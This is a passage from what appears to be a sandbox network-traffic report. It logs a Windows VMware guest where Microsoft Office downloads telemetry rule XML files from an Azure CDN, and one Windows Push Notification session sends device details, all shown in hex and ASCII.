2024-10-28 01:07:32 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: d6a45923-201e-006e-3dec-25bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010732Z-17c5cb586f6hn8cl90dxzu28kw00000004800000000027hf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49838	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:33 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:33 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 44be6224-701e-0032-738d-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010733Z-17c5cb586f6gkqkwd0x1ge8t0400000004mg000000006cqu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49844	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:33 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010733Z-16849878b78wc6ln1zsrz6q9w800000003xg00000000k6um x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:33 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49842	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:33 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:33 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b140c98b-501e-000a-75f9-240180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010733Z-15b8d89586ffsjj9qb0gmb1stn00000008f00000000082fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49841	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:33 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:33 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 082c7638-801e-0067-65f2-24fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010733Z-15b8d89586f8l5961kfst8fpb00000000evg000000002744 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49843	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:33 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:33 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010733Z-16849878b78q9m8bqvwuva4svc00000002r000000000sf63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49845	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4a 69 2b 76 42 34 6e 67 6c 30 61 4f 48 61 66 30 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 66 36 39 31 37 66 64 37 34 61 66 39 65 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Ji+vB4ngl0aOHaf0.1Context: baf6917fd74af9e8
2024-10-28 01:07:34 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-28 01:07:34 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4a 69 2b 76 42 34 6e 67 6c 30 61 4f 48 61 66 30 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 66 36 39 31 37 66 64 37 34 61 66 39 65 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 6c 79 43 7a 75 4e 77 52 62 48 43 51 63 41 48 39 6f 79 6a 35 65 75 69 6d 6c 31 31 78 46 6d 64 79 44 4c 74 72 2b 55 39 45 2f 2f 63 59 2f 6a 5a 77 31 65 6d 32 56 4d 67 53 70 77 55 51 62 64 64 50 78 42 69 74 6f 6e 5a 46 36 39 6c 6e 32 4b 61 6a 4f 6a 4e 4f 6a 69 73 67 76 68 6c 54 63 38 32 36 74 63 38 54 4c 52 4d 71 4b 49 36 78 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Ji+vB4ngl0aOHaf0.2Context: baf6917fd74af9e8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAelyCzuNwRbHCQcAH9oyj5euiml11xFmdyDLtr+U9E//cY/jZw1em2VMgSpwUQbddPxBitonZF69ln2KajOjNOjisgvhlTc826tc8TLRMqKI6x
2024-10-28 01:07:34 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4a 69 2b 76 42 34 6e 67 6c 30 61 4f 48 61 66 30 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 61 66 36 39 31 37 66 64 37 34 61 66 39 65 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Ji+vB4ngl0aOHaf0.3Context: baf6917fd74af9e8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-28 01:07:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-28 01:07:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 75 2b 62 50 62 6c 4c 69 45 6d 45 37 68 53 63 72 39 52 58 38 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ru+bPblLiEmE7hScr9RX8g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49857	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:34 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:34 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df5d8003-e01e-0099-48f7-26da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010734Z-r197bdfb6b4bs5qf58wn14wgm000000003bg0000000015b4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:34 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49856	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:34 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:34 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010734Z-15b8d89586flzzks5bs37v2b9000000008ng000000002nya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:34 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49859	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:35 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010735Z-17c5cb586f6b6kj91vqtm6kxaw0000000320000000003yxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:35 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49858	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:34 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
